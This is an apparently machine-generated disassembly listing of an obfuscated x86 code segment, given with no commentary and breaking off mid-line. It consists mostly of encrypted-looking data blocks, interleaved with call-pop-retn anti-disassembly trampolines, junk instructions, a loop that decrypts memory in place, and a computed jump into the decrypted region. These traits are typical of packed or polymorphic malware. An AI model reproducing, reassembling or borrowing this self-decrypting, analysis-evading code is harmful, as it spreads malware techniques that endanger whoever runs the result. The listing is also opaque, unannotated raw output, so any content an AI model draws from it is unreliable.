0B784F35Dh, 6CA49645h, 2D8AB167h, 0C4C06C7Bh, 3F817C38h dd 0EB0B2626h, 0AF13F845h, 9A79586Ch, 0C5EDAC49h, 0FD813C39h dd 0D1721F24h, 0BEC4F23Bh, 0F415DA15h, 0A90F884Dh, 4CA17044h dd 72BE371Bh, 0DE81FF34h, 0E227F153h, 7107C04h, 0A9587561h dd 0EF0B7368h, 0E0A71531h, 7336B32h, 828D8D2Fh, 8907F1C3h dd 0E9091585h, 0D8D8907h, 6A07E932h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 7387C356h dd 4B582D2Fh, 9A09FF3Fh, 235BD8Bh, 85C707E9h, 7E922E5h dd 6050h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 77C35141h, 7999A8Ah, 0DD1AAF73h, 20859589h, 85C707E9h dd 7E922B1h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_6100B7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6100B7 proc near ; CODE XREF: sdfs____:006100AFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_6100B7 endp ; --------------------------------------------------------------------------- db 0FFh dd 0F9D2386h, 0B70F0D63h, 0D99589D2h, 0FF07E91Fh, 0E93151B5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 8CC48EEBh, 95FFD654h, 7E92285h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6DC35545h, 964442DDh dd 8997E74Ch, 0B18D893Ch, 8907E921h, 0E900B595h, 0FF006A07h dd 0E90C3195h, 0EBC08B07h, 0C17DE948h, 21DC7047h, 654C7CF2h dd 574AB34Dh, 61E3B58Dh, 2514A290h, 186FA97Ch, 7F278A02h dd 34632850h, 6D1CCE2Bh, 0A5E459D0h, 31A16BFEh, 34B337D4h dd 868B697Bh, 18D86B27h, 5798E8F5h, 5E7ACDCBh, 983D9990h dd 578D8D92h, 8B07F1C4h, 0E9180195h, 0D8D8907h, 6A07E932h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8041C351h, 85C784D2h, 7E922E5h, 6CE4h, 85C7FA8Bh dd 7E922B1h, 0 ; --------------------------------------------------------------------------- mov ax, dx push dword ptr [ebp+7E90F11h] mov [ebp+7E90035h], ebx call dword ptr [ebp+7E92285h] push 0 push ecx call sub_6101F0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6101F0 proc near ; CODE XREF: sdfs____:006101E8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_6101F0 endp ; --------------------------------------------------------------------------- dec ebp db 64h lahf mov ebx, 4B75BAF3h adc [eax], dl push 0 call dword ptr [ebp+7E90C31h] mov eax, eax jmp short loc_610282 ; --------------------------------------------------------------------------- dw 0C78Fh dd 0E4403A6Ch, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh, 9D5D6186h dd 0F76359D9h, 0D2EE24AEh, 0BAA22FFh, 0BF621578h, 0FEBCBC9Ah dd 6C71713Ch, 0CE6A5F3Ch, 0EF131A6Dh, 694B9213h, 0EBDD5BBh dd 100E9D70h, 20DFB426h, 871D82A7h, 0AAFD1665h, 9AC863DCh dd 0B0ABF85Fh, 7E075EDBh, 821F0C87h, 5C9614E5h, 82A628FDh dd 87C1BD66h db 0D9h, 43h ; --------------------------------------------------------------------------- loc_610282: ; CODE XREF: sdfs____:00610214j lea ecx, [ebp+7F1C59Dh] push 0 push ebp call sub_610293 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_610293 proc near ; CODE XREF: sdfs____:0061028Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_610293 endp ; --------------------------------------------------------------------------- test byte ptr [ecx-16CDF273h], 7 mov [ebp+7E90A35h], ebx mov dword ptr [ebp+7E922E5h], 6644h push 0 push edi call sub_6102C5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6102C5 proc near ; CODE XREF: sdfs____:006102BDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_6102C5 endp ; --------------------------------------------------------------------------- aAmZCLshlES db '¬Ó‡',0Bh,'ç,¾LáHLÇ…±"é',7,0 dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 72F5C353h, 56210239h, 16898589h dd 8B5807E9h, 89B5FFD6h, 2907E91Ah, 0E915219Dh, 8595FF07h dd 6A07E922h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0DD5C351h, 4B57188Ah, 62CB46FCh dd 8036BF66h, 95FF006Ah, 7E90C31h, 48EBC08Bh, 0E9463AC2h dd 85D1327Ah, 0F4BF3C4Ch, 0FBB422D9h, 6E1F889Fh, 0F7EBFE25h dd 9772F3C6h, 0C607366Ah, 6A77C683h, 0D1091416h, 9015F632h dd 87101576h, 0A502D5FEh, 5055478Ch, 0FF7E2FAEh, 66FD73Eh dd 0EA56D3EDh, 6B03805Eh, 10EBh, 3 dup(0) align 8 push 0 push esi call sub_6103C3 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6103C3 proc near ; CODE XREF: sdfs____:006103BBp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_6103C3 endp ; --------------------------------------------------------------------------- db 12h dd 5E95415h, 15000000h, 4865194Ah, 5A6EB653h, 18A5BD83h dd 750007E9h, 45BD8309h, 7E91Ah, 53501974h, 2DB8C08Bh dd 89000004h, 0E911F985h, 0CE9D8D07h, 0FF07EBD7h, 83585BD3h dd 0E91A45BDh, 17740007h, 2DB85350h, 89000004h, 0E911F985h dd 0BD9D8D07h, 0FF07EBD4h, 0B6585BD3h, 13E8DFh, 8E4D0000h dd 0E68112B6h, 0D6D2CF60h, 2A5360BAh, 0D78C9503h, 2DBE663Dh dd 0C08B5A3Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0EC35141h, 217E9903h, 0F949857Ch, 2E998D8Bh, 6A07E9h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 3DBB51C3h, 13E8h, 0B2023000h, 8ACA3677h, 0C4339D7Fh dd 93C11113h, 0DFBD2D2h, 0AE9h, 4E75F900h, 10A65697h, 5EC33BCEh dd 0F00F983h, 8684h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 521E45FAh, 7CDACEC1h dd 8B64AF14h, 2C3Dh, 4DB58B00h, 5207E935h, 5AD7B70Fh, 840FFF0Bh dd 47h, 0DE9h, 43457100h, 0DB188EF7h, 4AFF6AE6h, 3F8B45FBh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B7C35141h dd 8217A159h, 80520D2Dh, 0C03207E2h, 0F3F38B66h, 39958BAAh dd 3507E90Ah, 53504149h, 0C5FABE66h, 265985C6h, 894707E9h dd 0E90F0DBDh, 4E807h, 882C0000h, 0F60DCD6h, 198Ah, 14E900h dd 0A28A0000h, 0CA826296h, 0D1E6E05Eh, 0A998AAD1h, 52F60973h dd 0BABE4429h, 616FD017h, 0D7BE6650h, 24448B3Ch, 0E8516004h dd 0Bh, 0CFD3B4DAh, 8794328Fh, 5A1FA372h, 61F78A5Eh, 8B66008Bh dd 244489D1h, 850F6004h, 2, 58615857h, 0B5FF92B6h, 7E90B11h dd 0BE98D29h, 666007E9h, 0DF8BCA8Bh, 0DB858D61h, 8B07EC9Fh dd 6AD0FFD1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0BBC7C356h, 669E139Bh, 9AEC941h dd 0E9020995h, 79858907h, 0E907E92Ch, 5, 0C85FAA7Eh, 5985C6F6h dd 5307E926h, 10E8h, 52D700h, 0D786BBA4h, 0FD9A3647h, 64D10306h dd 0B1B58BE3h, 5A07E91Ch, 1E68F28Bh, 5085A2F1h, 0F08B6652h dd 0B6BE310Fh, 5A473865h, 24048158h, 2F579DEh, 6850Fh dd 85890000h, 7E91FE5h, 0B11B5FFh, 958907E9h, 7E91C75h dd 9FDB858Dh, 9D8907ECh, 7E90879h, 0B58BD0FFh, 7E917EDh dd 674D858Dh, 958B07ECh, 7E90845h, 0D9E68166h, 15858940h dd 0BE07E90Ch, 0B2CF558h, 0FF6A206Ah, 0C1595FFh, 493507E9h dd 0C7535041h, 0E926A985h, 107h, 4185C700h, 7E902h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 2F89C352h, 8B4EED63h, 0E91C15B5h, 6EBA6607h dd 0BABA66A2h, 79858BC8h, 8B07E901h, 0E92C7D95h, 0A364F507h dd 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_610717 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_610717 proc near ; CODE XREF: sdfs____:0061070Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_610717 endp ; --------------------------------------------------------------------------- db 95h dd 0F680608Eh, 0C3BF0F78h, 0B5BD8361h, 7E92Eh, 29840Fh dd 13E80000h, 5F000000h, 2B9308CCh, 0EA5AADBFh, 1B2736CAh dd 0E03203F9h, 0BF0FE96Ah, 858B5EF1h, 7E919ADh, 8166E08Bh dd 836417CAh, 0E92515BDh, 850F0007h, 3E3h, 0B9950157h dd 5E07E901h, 265985C6h, 815607E9h, 67CF9BDAh, 4E846h dd 30DF0000h, 0BA50A9C5h, 34F6B193h, 424448Bh, 9B2522BEh dd 89008B11h, 51042444h, 9C87BE66h, 8589585Eh, 7E91809h dd 0B11B5FFh, 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 4F58A1C3h, 858D270Ch, 7EC9FDBh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 34C35343h dd 27C6862h, 0BD89D0FFh, 7E92E69h, 50F38B90h, 7E8h, 33753C00h dd 0D346543Ch, 5E616053h, 39BA905Ah, 8D78054Bh, 0E92B298Dh dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 768901E1h, 8A2EBA0Ch, 91F920D1h, 10E9h dd 9C4F6800h, 71B9A04Fh, 762CAB24h, 644CED89h, 8E950FCh dd 9B000000h, 1FEC904Bh, 91D0D9A2h, 38083DBEh, 89046A70h dd 0E934958Dh, 6CBA6807h, 348110ABh, 0AB7CBA24h, 6880F10h dd 89000000h, 0E90BDDB5h, 0DB5FF07h, 8B07E912h, 0E9158D95h dd 6AD0FF07h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0F5A1C353h, 8BF4E680h, 0E9120DBDh dd 830F07h, 3000000h, 0B5893C7Fh, 7E90939h, 0F8C781h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 93BEE2C3h, 0FE129581h, 0BE7CF8BAh, 4367CCFh, 202447C7h dd 0E9600000h, 6, 0F94CB0E6h, 0AE9CC9Eh, 0D8000000h, 3C666312h dd 27110199h, 0ECBD834Ch, 7F1C5h, 143840Fh, 8B510000h dd 0E90FE1B5h, 0C7835E07h, 2E07C728h, 8964696Ah, 0E934FD8Dh dd 447C707h, 617461h, 0A89958Bh, 858B07E9h, 7F1C5F4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0DBC35545h, 89D08A5Dh dd 0B5890C47h, 7E92291h, 0C5F8858Bh, 0B70F07F1h, 84789F1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3DC35141h dd 0ADB5CF59h, 0AE860E8h, 29000000h, 0EC6693D5h, 2D8D5F95h dd 0CD9D893Eh, 5A07E90Dh, 2928C783h, 0E930E585h, 2E07C707h dd 96E6F63h, 0E925ADBDh, 447C707h, 676966h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DEC35646h, 0C5F0858Bh dd 0BD8907F1h, 7E90F65h, 6A0C4789h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4D82C351h dd 0E130731Ah, 0D68145B1h, 18A12118h, 0C5EC858Bh, 0F6007F1h dd 28Ah, 8BD1B500h, 0E92A19BDh, 47896107h, 57006A08h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 895F5C58h, 0E922759Dh, 6A5807h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 78761DC3h, 8D4B7156h dd 0E908F98Dh, 14820F07h, 0E9000000h, 0Fh, 0ECA0BC7Eh dd 0EA54704Fh, 0E1AE2A24h, 913C1EC7h, 9E8h, 0DD2DD200h dd 430C2B82h, 56B260ECh, 6BBA505Ah, 916934B9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DFC35242h, 818CFF9Ch dd 0DE8DED8h, 0A0000000h, 0BCC825A8h, 0CB2848CAh, 0C4820C3Ch dd 25958Bh, 8B5E07E9h, 0E90CC5B5h, 29B5FF07h, 8A07E92Bh dd 0AA4D68D3h, 52502BBEh, 8E860h, 5CD30000h, 7A1B5288h dd 615E889Ch, 585A310Fh, 4D243481h, 892BBEBAh, 0E932119Dh dd 0DB5FF07h, 6607E912h, 0D0FFF28Bh, 0B81FC680h, 0 ; --------------------------------------------------------------------------- add edx, [ebp+7E906FDh] or eax, eax jz loc_610BBF push 0 push edi call sub_610B75 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_610B75 proc near ; CODE XREF: sdfs____:00610B6Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_610B75 endp ; --------------------------------------------------------------------------- db 0E3h, 0B2h, 0DAh ; --------------------------------------------------------------------------- push dword ptr [ebp+7E9125Dh] or edx, [ebp+7E91C29h] call dword ptr [ebp+7E92285h] push 0 push ebx call sub_610BA5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_610BA5 proc near ; CODE XREF: sdfs____:00610B9Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_610BA5 endp ; --------------------------------------------------------------------------- db 5Bh, 0EDh, 16h ; --------------------------------------------------------------------------- mov ch, 3Eh sbb dx, 8F59h loc_610BBF: ; CODE XREF: sdfs____:00610B64j mov eax, eax mov dh, 23h push esi jmp loc_610BD5 ; --------------------------------------------------------------------------- xchg eax, edx pop es mov ds:9C8AA9F1h, al mov eax, 0CF8F0267h loc_610BD5: ; CODE XREF: sdfs____:00610BC4j pop edx cmp dword ptr [ebp+7E918A5h], 0 jnz short loc_610BE8 cmp dword ptr [ebp+7E91A45h], 0 jz short loc_610C01 loc_610BE8: ; CODE XREF: sdfs____:00610BDDj push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+7E920F5h], eax lea ebx, [ebp+7EBD835h] call ebx ; _iob pop ebx pop eax loc_610C01: ; CODE XREF: sdfs____:00610BE6j cmp dword ptr [ebp+7E91A45h], 0 jz short loc_610C21 push eax push ebx mov eax, 42Dh mov [ebp+7E920F5h], eax lea ebx, [ebp+7EBD4D6h] call ebx ; _iob pop ebx pop eax loc_610C21: ; CODE XREF: sdfs____:00610C08j call sub_610C37 scasb shr dword ptr [ecx+73h], cl dec ecx out dx, eax jmp near ptr 1117672h ; --------------------------------------------------------------------------- db 52h, 43h, 1Ah db 89h, 0F9h, 31h ; =============== S U B R O U T I N E ======================================= sub_610C37 proc near ; CODE XREF: sdfs____:loc_610C21p ; FUNCTION CHUNK AT 00610C68 SIZE 00000005 BYTES mov esi, [ebp+7E9257Dh] pop edx mov [ebp+7E90C09h], ebx mov eax, eax add [ebp+7E92289h], edi mov eax, eax call near ptr loc_610C62+2 outsd cmc xor eax, 2025D009h insd mov word ptr [edi], cs js short loc_610C68 pop ebp cmc wait loc_610C62: ; CODE XREF: sub_610C37+17p lds eax, [edi+0EF59D2Bh] sub_610C37 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_610C37 assume ds:___ loc_610C68: ; CODE XREF: sub_610C37+26j jmp near ptr 8BC76A74h ; END OF FUNCTION CHUNK FOR sub_610C37 ; --------------------------------------------------------------------------- fiadd dword ptr [ecx+6A8BC6h] add [ebx-16D62E73h], cl pop es mov eax, 0 or [ebp+7E90AC9h], ecx loc_610C85: ; CODE XREF: sdfs____:00610CE2j push dword ptr [eax+esi] mov edi, 50BA520Eh pop edx adc bh, 2Ch add edx, 5CAF79C0h mov [ebp+7E919DDh], esi sub edx, 3974C5BCh mov edi, edx add edx, 77CFEF02h mov edi, [ebp+7E9158Dh] mov [esi+eax], edx jmp loc_610CCD ; --------------------------------------------------------------------------- db 22h, 8Ah, 47h dd 0AD0CBDF3h, 9D069F59h, 0FF97BD34h, 4EE29511h db 86h ; --------------------------------------------------------------------------- loc_610CCD: ; CODE XREF: sdfs____:00610CB4j cmc sub eax, 3 mov edi, 1796A6E8h dec eax mov ebx, 18D23789h cmp eax, 0FFFF960Ch jnz loc_610C85 mov [ebp+7E91351h], esi jmp loc_610CF7 ; --------------------------------------------------------------------------- db 7Ch db 2Eh, 4Dh, 21h ; --------------------------------------------------------------------------- loc_610CF7: ; CODE XREF: sdfs____:00610CEEj jmp loc_61125B ; --------------------------------------------------------------------------- dd 1C91E308h, 57DE9CB0h, 842953E5h, 0FB7AF828h, 2DC0B459h dd 0FB1E7ABFh, 5140EC81h, 61F622D3h, 103A961Fh, 0FCA6CF66h dd 6AF60585h, 8FFD0F28h, 413BDC78h, 4A2FCDE9h, 0E26D4BD8h dd 0C222B0D1h, 941963F6h, 9C601238h, 0CE581A30h, 0A48C0E06h dd 0D2A84C08h, 3ED74772h, 0F5FCDC67h, 0E10DE564h, 0C6E8C38h dd 5C203761h, 648BD1C1h, 3968B8BEh, 305C6279h, 0FA7B099Bh dd 7FC7B95Eh, 62C24253h, 6588C056h, 27B5CF17h, 1F59F3DFh dd 0DACD0C7h, 6B1232EDh, 61E196B9h, 709E3414h, 50CECEAFh dd 377E25C5h, 564F17A1h, 25971AD6h, 0E8996517h, 305C28CDh dd 10C1688Ch, 84317CB0h, 4ACEh, 0A04A9400h, 15970ED6h dd 12305CC5h, 4735D884h, 0E10DE5FFh, 0E0299B38h, 1458430h dd 1D000000h, 42D4A64Ah, 0C4B9F9A8h, 495B305Ch, 0ED014DE1h dd 0B1BB78Fh, 0F418B589h, 0FD7F9355h, 0FD5FF670h, 0A28CA0D1h dd 0EC0EAA86h, 78A7E392h, 0FE46C4DCh, 85A80CE4h, 8FA32FF7h dd 91A511EDh, 158E1BEBh, 4F95221Bh, 6014399Dh, 4EEFE19Ch dd 0A9D7ACh, 0B6C86EF6h, 389C546Eh, 62CE6715h, 7A56AEC8h dd 8610AAD4h, 5C1C8B0Bh, 0D31F8530h, 7A232F9Fh, 31835759h dd 939784h, 4A330000h, 4D09D5A7h, 410DD1ABh, 5A76CEAEh dd 0A378C4B6h, 9F3EBC5Dh, 0DCE9760Fh, 9390CBEh, 0F88DEA87h dd 4AA63DBCh, 0A84D8726h, 62F721CCh, 10BCCA1Ah, 0D95B4BFFh dd 15E97F05h, 1F77A38Fh, 0E569419Dh, 0D01D9744h, 7C598431h dd 69000000h, 31CAED78h, 3A4233CFh, 0B540F8D2h, 4EAADA98h dd 23B5C76Ah, 19E597BBh, 7573AF8Bh, 0FF3BB9E9h, 0F84434DBh dd 0FC403ADCh, 0E4383AD0h, 0B240E917h, 0CE28D1FBh, 0C88C0E06h dd 3C985022h, 0DC96319h, 55589014h, 0D4A64AEDh, 15E77E08h dd 7ADE18F5h, 83D1B540h, 0F9622964h, 0CD755031h, 0BA54305Bh dd 0A9810312h, 0B852A445h, 5BCCC9C9h, 91594B30h, 31D7D232h dd 12C84h, 4AB60000h, 4E0ADAA4h, 0AD38D2ACh, 0D85B69DEh dd 26A4FCD0h, 13045890h, 76984CEDh, 0A9D87204h, 305C1AE9h dd 2CB1792Bh, 0DF69FE79h, 0B50367A2h, 0CC983537h, 5F5F5255h dd 0B12873BEh, 0A3985AF3h, 0A86F38Ah, 6EDAA497h, 32C4DE82h dd 10A9E998h, 396B2873h, 0FB11BDF1h, 0B258F479h, 3857CC0h dd 10287311h, 3D995DFCh, 59F67E5h, 2763892Dh, 59D46A12h dd 0C3235DFFh, 0CB1B65F7h, 896D0C70h, 0F35329CDh, 7F9D39F1h dd 0FD59DBCBh, 0E68F1D5Fh, 1A94635Dh, 184838Ch, 0B3270000h dd 0ECA537A0h, 37B599ADh, 21AD3F65h, 7A686BF0h, 9E08BC3Dh dd 27FB7D08h, 0CB26D7DEh, 7587336Fh, 2CCE6A0Bh, 5BABD164h dd 0C654544Dh, 0E6BC2872h, 5662C250h, 9520BAC4h, 2E532646h dd 0C96CE83Fh, 0AF2B47B3h, 0A22EF676h, 0A612F28Ch, 7292E993h dd 56502FCBh, 0DB17698Eh, 38D216B7h, 3A16D739h, 14B041A2h dd 4BEA7802h, 19FB06FEh, 3F608Ch, 0B3420000h, 19B2DBAh dd 79C5B745h, 0DEFE8F6Bh, 36B05CC4h, 0B1F1906Ch, 64B05CC4h dd 99AE9138h, 0A9097812h, 6B305CC5h, 9C15AF39h, 305CC61Ch dd 0A591A9F4h, 659EB5A4h, 21961BD7h, 0D2h, 1A0B341h, 0E86ABA10h dd 7F32C45Ah, 37B59484h, 91EB0CC8h, 5DEFB559h, 93CECEC3h dd 5C462873h, 0B44E5894h, 7393BDFDh, 0E54D5728h, 0D4591B31h dd 6B26B04Ah, 2873942Bh, 0CACABFE5h, 0B3287393h, 0FFFB8112h dd 0C9A5E9D2h, 0F58F5725h, 0DCDCD567h, 34287319h, 416826Eh dd 0DEFBAA7Ah, 98287318h, 9F3B0B89h, 5C3F0779h, 3C698930h dd 0EB857118h, 7318F6B6h, 0EDADE428h, 27287318h, 0A793117Dh dd 169FD973h, 5228CC88h, 6538F0F2h, 0D6CB5DCAh, 30614A43h dd 53D5CD89h, 814A5E5Eh, 5EECB620h, 4834FC86h, 7AB6CB6Ch dd 1873CFCEh, 5D96FFDh, 0DD1A349h, 6853FA1Ah, 0D1C05ACDh dd 286F343Eh, 0BB6FF78Eh, 64D2B666h, 33C2E08Ch, 77012BB3h dd 0A0B309BBh, 19ECA537h, 63384AF6h, 0F4D8D8C9h, 6A38286Ah dd 7CC0E28Eh, 35B8BA50h, 8E03719Bh, 286AF50Eh, 360E9C06h dd 8FF9CD4Fh, 0C7668A4Eh, 1889EF0Dh, 1ADFA98h, 19942A78h dd 4B89F08Dh, 0F27BE08Eh, 0FE789206h, 0F87AAA26h, 2CCDF324h dd 6D2452F8h, 1AE222Dh, 862FBDE7h, 4C008D18h, 98641624h dd 0DEAE730Ah, 0C65440A8h, 0C75E68B4h, 74B347BAh, 42C0D0C6h dd 0E652E0E2h, 329h, 0F6547900h, 0FD7A14Ah, 77CFA943h dd 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh dd 53B3CD63h, 55A9D367h, 5D06685Eh, 0C890000h, 25CA6824h dd 34890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h dd 242C895Ch, 4EC81h, 4890000h, 3BACB824h, 0EEBE2BD9h dd 2933CB0Ah, 926858C6h, 8900001Fh, 4832424h, 535D0424h dd 8BBh, 5CEB8100h, 111F659h, 5CC381EBh, 8911F659h, 34FF5B33h dd 0C4835D24h, 2434FF04h, 4C4835Eh, 0F7A72DE9h, 1BC914FFh dd 893D104Bh db 0BAh, 29h, 3Ch ; --------------------------------------------------------------------------- loc_61125B: ; CODE XREF: sdfs____:loc_610CF7j mov eax, 7F1D427h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 0D3F33D6h, 4EC06F94h, 76E26E1Bh, 7AFEFE54h, 4B122297h dd 2657920Ch, 3A5528Fh, 71B0AF29h, 2F686B7Fh, 95C7422h dd 3E6F752Ah, 63494B3Ch, 26AC90FDh, 69975848h, 21D4455h dd 2AE1839Bh, 70314F65h, 7660AAE2h, 483F21BEh, 3A62093h dd 0BDD9381h, 0D5B38D8Dh, 6A07F1h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 90990DC3h, 0B58B364Ah dd 7E911FDh, 320D8D89h, 6A07E9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0B09475C3h, 3810F0Ah dd 80000000h, 85C710D7h, 7E922E5h, 644Ch, 12F68160h, 0F54692ACh dd 0B185C761h, 7E922h, 66000000h, 0FFED3FBAh, 0E91A89B5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 43643151h, 8595FFC4h, 0F07E922h, 18Eh, 6AFC00h dd 0C3195FFh, 0C08B07E9h, 135148EBh, 6A3F50ECh, 81B3F22Eh dd 6E51CFB5h, 3C1BBC87h, 2DD0C1FCh, 0DD8F00A3h, 52FB89BCh dd 0F9312C7Ch, 0B781A549h, 0AFCF73A7h, 0CA892D06h, 9349DF13h dd 0C46D289Ah, 0AAC09EA5h, 3458F021h, 8B1B090Eh, 5C339578h dd 0AE8A668h, 5F000000h, 0A43E7AADh, 473DEE69h, 0EDBD89FCh dd 5B07E934h, 0FD858960h, 6607E91Ah, 8161D68Bh, 680EC3h dd 0F5B96600h, 0FC03388h, 889h, 28E0F00h, 51000000h, 1834FF5Fh dd 12E960h, 15C40000h, 58C2F396h, 7346F4B6h, 0EF73C7BCh dd 0BEBD45F3h, 0EE9h, 0B63A1200h, 19A2DFE6h, 0A2F2378Dh dd 61317A2Eh, 68F0F5Eh, 31000000h, 0E91E0D8Dh, 43C68107h dd 0F09CED2h, 685h, 518D8900h, 8107E92Bh, 0DDEAC8EEh, 858D0971h dd 8107E911h, 0AEB7AC6h, 0E9805205h, 34895FB2h, 13E903h dd 0AB8F0000h, 15CD7CA9h, 0A058FC65h, 7163D328h, 67024F2Eh dd 4E8838Ch, 4AB333BFh, 0E0F88119h, 0FFFFF98h, 0F85h, 22E9F900h dd 9D000000h, 0EB37FCAAh, 0B6B8E5DEh, 25D58589h, 52E907E9h dd 4DFFFFFFh, 343BD9CFh, 22C41443h, 607929F1h, 118D8D18h dd 6A07F1D8h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 9801C357h, 39F45F46h, 41BD896Ch dd 8907E915h, 0E9320D8Dh, 29B58B07h, 0C707E931h, 0E922E585h dd 68FC07h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 4A2144F3h, 0CFF9CFEDh, 0C7F38BD5h dd 0E922B185h, 7, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0BACB7E63h, 4A9A6503h dd 9E888h, 47140000h, 9730996Dh, 8928F558h, 0E9125995h dd 0B5FF5807h, 7E9245Dh, 14E8h, 8D19A200h, 2EA2F237h, 495F317Ah dd 0BF414413h, 0A46A3D63h, 14E9E5h, 0EB350000h, 0C0761524h dd 16F73B12h, 0CCF4845Fh, 0A160B80Fh, 0FF5AB418h, 0E9228595h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 93D83C17h, 0BD896CFBh, 7E91AE9h, 95FF006Ah dd 7E90C31h, 5BEBC08Bh, 0F018ED9Dh, 0B1B3A269h, 0FF833567h dd 0D2829AADh, 32CF400Bh, 0F3367ED4h, 26D33D62h, 2CBF24C5h dd 0AF60862Ah, 533F4F01h, 0EC904B9Bh, 0D0D9A21Fh, 0F18DDB95h dd 6B867782h, 26214889h, 900B02CBh, 0F21EE52Ch, 5E8F2BC3h dd 0A6761313h, 9DCEDA30h, 2F8C8D0Ch, 0FF5C78CCh, 0EBE99E4Ch dd 3DDE900h, 19320000h, 0D67AD65Fh, 89AF09A4h, 0C2D27EF7h dd 0EE03AD40h, 0B089E78Eh, 0A64F2DC0h, 14991B0Ah, 48E597B8h dd 812C4EECh, 0CFCFC2DCh, 41286AECh, 0A64A550Bh, 0C4E1A1D0h dd 7533305Ch, 5CC57C3Ch, 780E9430h, 47E94BEAh, 41CB835h dd 0A84DEF86h, 28C521CCh, 0F304B1E0h, 0D7EEFC89h, 819400E8h dd 0BC522ACDh, 821BB531h, 0FF1DFC18h, 2C6C1D9Fh, 0E4305C7Dh dd 4F4672BEh, 7CD8D8C9h, 6A38305Ch, 33CD59D4h, 5C7D3E7Eh dd 0ABFAD630h, 90019B29h, 305C7D10h, 6256A200h, 0BAFAB7CDh dd 0A3305C7Ch, 818B9782h, 970393C0h, 0D46AF880h, 235DFF59h dd 2292F392h, 3BCD384Dh, 3E06709Ah, 8078292h, 0C0860DB0h dd 0E8740694h, 49A53346h, 7EDB94B0h, 0A28E14E8h, 0E63E9A0Eh dd 9B96C964h, 40077A0Ch, 562FC49Bh, 0B511F04Ch, 0AB20829Bh dd 4E4E43DDh, 0C620829Ch, 41E814DCh, 0B093090h, 0BF4E94h dd 4A140000h, 2C4CE3A7h, 0E03CD2D0h, 820E831Fh, 92305CC5h dd 6A80CC10h, 21CB6508h, 0F419C557h, 4B31C480h, 0ED01E9FBh dd 